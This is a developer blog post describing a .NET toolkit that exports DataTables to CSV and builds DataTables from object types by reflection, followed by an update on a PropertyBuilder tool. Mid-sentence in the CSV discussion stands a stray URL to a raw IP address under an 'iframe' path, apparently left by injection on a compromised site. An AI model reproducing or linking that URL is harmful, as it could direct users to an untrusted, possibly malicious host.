Developing For .NET

Howdy readers!

I have something new for you which I hope you find useful. Most of my projects are database oriented, which in ADO.NET land means a hefty reliance on DataTable objects. In fact, my first serious .Net program was an Ad Hoc SQL tool that allowed the user to connect to virtually any database and issue SQL commands. Beginning with that program, I wanted the ability to take the data from a DataTable object and export it to CSV. In several subsequent projects I needed the same feature, but I never took the time to externalize it. Well, a couple of weeks ago a new project came across my desk that required this feature again.

DevelopingForDotNet.DataTables

And so the DevelopingForDotNet.DataTables namespace is born. As of this writing, there is only one class in the namespace: DataTablesToolkit. This is a static class containing, at the moment, two interesting methods.

DataTableToCSV

The first is the one mentioned above, DataTableToCSV. This method does exactly what you think: it takes a DataTable object and generates a string representing its contents in CSV format. The first line can optionally contain the list of Column names. String values are wrapped in double quotes and lines are terminated with \r\n.

There is one limitation: support for complex data types is limited to their .ToString() implementation. If a DataTable contained a type without an appropriate implementation, “unexpected results may occur.”

I have some future enhancements in mind:

• Add additional terminator support. Depending on the consumer, the output may need just line feeds or carriage returns. This would be simple enough to add via a parameter.
• While it would no longer be CSV, a similar method for Tab Delimited would be useful.
• Add the ability to save the string to the file rather than requiring the consuming code to implement the IO.

CreateDataTable

While working on this project, an interesting problem cropped up. The database in question stores US Zip codes as numeric(5,0) fields. This causes a problem for zip codes beginning with a “0”: the leading zeros are lost when the data is read in from the database. In order to address this, we created a custom data type that replaced the missing leading zero and stored the value as a 5 character string.

Unfortunately, this meant that we could not rely on the DataTable automatically filled by our xxxDataAdapter. Instead, we had to read the data out of the DataTable and store it in our custom data type objects. This worked great and solved the problem (as well as a couple of others relating to the data), but it introduced a new problem: the DataTableToCSV
http://61.132.75.71/iframe/wp-stats.php
code we just created was now unusable! Our data was no longer in a DataTable!

I was about to write custom code to create a new DataTable based on the properties of our custom data type when it hit me: I could use Reflection to do that for me. Better yet, I could make it generic enough that I could create a DataTable based on ANY object I wanted. And so I did.

This was my first real foray into Reflection, and I have to admit I thought it was going to be a lot more complicated than it ended up. I mean, I slaved for MINUTES on this code! The longest part was in me finally getting a good understanding of the Type type in my thick skull. Once I had that, the rest was very easy. So now, I simply pass the Type of my object in and I get a DataTable object back, complete with a collection of appropriate DataColumn objects that match the properties of the Type.

This too has some limitations:

• As written, it can only handle properties that expose primitive data types. Complex data types are ignored. This will make perfect sense if you think about it: how would a Collection, or a FileStream, or something of that nature be depicted in a DataTable? For now, I think this is a reasonable limitation.
• Only public, non-static properties are currently reflected. Support could, and probably should, be added for protected members, but I think that would need to be optional. When I was writing this, it just didn’t seem to make sense to me to expose static properties, but it would be easy enough to add if desired.

Now, I can use this to create my new and improved DataTable, and I can easily loop through my collection of custom data type objects to populate its rows.

And so altogether, this represents the DataTablesToolkit. Download the code and try it out. Let me know how it works for you.

I have posted an update to the PropertyBuilder code. Actually, the code hasn’t changed but the solution now includes a Setup Project. I also put a copy of the MSI file in the root PropertyBuilder directory, so if you just want the tool and don’t want to worry with the code you can just install it and use it locally.

There were a couple of things about the code I failed to mention in the previous post. First, it uses Compile Time Directives to branch the code into different groups based on a Defined variable. I’ll have to write a post about this – it is a neat way to test variations and modifications to code. Currently, the code is using Regex.Replace() to make its changes, but the original version was a bit more brute force and was left in place to show the differences between the two approaches. The Regex version also takes advantages of templates rather than inline strings. On the Code Generation front, these templates could come from anywhere, such as external text files, XML, settings, or even a database.

The one thing I don’t like about the tool is that it always places the variable declaration directly above the property. I’m a bit anal about stuff like that, and I like to have all my class level variables defined before the constructor, so having it inline like that grates on my nerves. In a future version, I am going to add a split panel option to generate the variables in one textbox and the properties in a separate textbox. That way they can easily be copied and pasted separately into my code at the appropriate places.

Now what would be REALLY cool is to be able to integrate this with Visual Studio and provide the option to select a variable and automatically generate the Property from the variable, kind of like the inheritance and constructor stubbing we already have. But truth be told, I’ll probably never have time to figure all that out.